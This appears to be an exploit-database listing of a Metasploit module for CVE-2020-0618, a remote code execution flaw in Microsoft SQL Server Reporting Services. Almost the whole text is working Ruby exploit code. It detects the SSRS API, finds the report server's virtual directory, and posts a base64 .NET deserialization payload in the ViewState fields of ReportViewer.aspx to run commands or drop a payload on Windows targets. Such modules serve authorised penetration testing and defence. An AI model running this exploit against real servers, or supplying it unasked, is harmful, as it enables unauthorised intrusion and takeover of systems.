SQL Server Reporting Services (SSRS) ViewState Deserialization

2020.03.14
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'SQL Server Reporting Services (SSRS) ViewState Deserialization', 'Description' => %q{ A vulnerability exists within Microsoft's SQL Server Reporting Services which can allow an attacker to craft an HTTP POST request with a serialized object to achieve remote code execution. The vulnerability is due to the fact that the serialized blob is not signed by the server. }, 'Author' => [ 'Soroush Dalili', # discovery and original PoC 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-0618'], ['URL', 'https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/'], ], 'Platform' => 'win', 'Targets' => [ [ 'Windows (x86)', { 'Arch' => ARCH_X86, 'Type' => :windows_dropper } ], [ 'Windows (x64)', { 'Arch' => ARCH_X64, 'Type' => :windows_dropper } ], [ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ] ], 'DefaultTarget' => 1, 'DisclosureDate' => '2020-02-11', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], }, 'Privileged' => true, )) register_options([ OptString.new('TARGETURI', [ true, 'The base path to the web application', '/Reports' ]), OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKSTATION' ]), OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), ]) end def send_api_request(*parts) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'v1.0', *parts), 'headers' => { 'Accept' => 'application/json', }, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) if res&.code == 200 && res.headers['Content-Type'].strip.start_with?('application/json;') return res.get_json_document end end def check json_response = send_api_request('ReportServerInfo', 'Model.SiteName') return CheckCode::Unknown unless json_response && json_response['value'] == 'SQL Server Reporting Services' CheckCode::Detected end def exploit fail_with(Failure::NotFound, 'Failed to detect the application') unless check == CheckCode::Detected json_response = send_api_request('ReportServerInfo', 'Model.GetVirtualDirectory') fail_with(Failure::UnexpectedReply, 'Failed to detect the report server virtual directory') if json_response.nil? directory = json_response['value'] vprint_status("Detected the report server virtual directory as: #{directory}") state = {vd: directory} if target['Type'] == :windows_command execute_command(payload.encoded, state: state) else cmd_target = targets.select { |target| target['Type'] == :windows_command }.first execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) end end def execute_command(cmd, opts) state = opts[:state] viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(cmd)) res = send_request_cgi({ 'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'), 'method' => 'POST', 'vars_post' => { 'NavigationCorrector$PageState' => 'NeedsCorrection', 'NavigationCorrector$ViewState' => viewstate, '__VIEWSTATE' => '' }, 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) unless res&.code == 200 print_error('Non-200 HTTP response received while trying to execute the command') end end end


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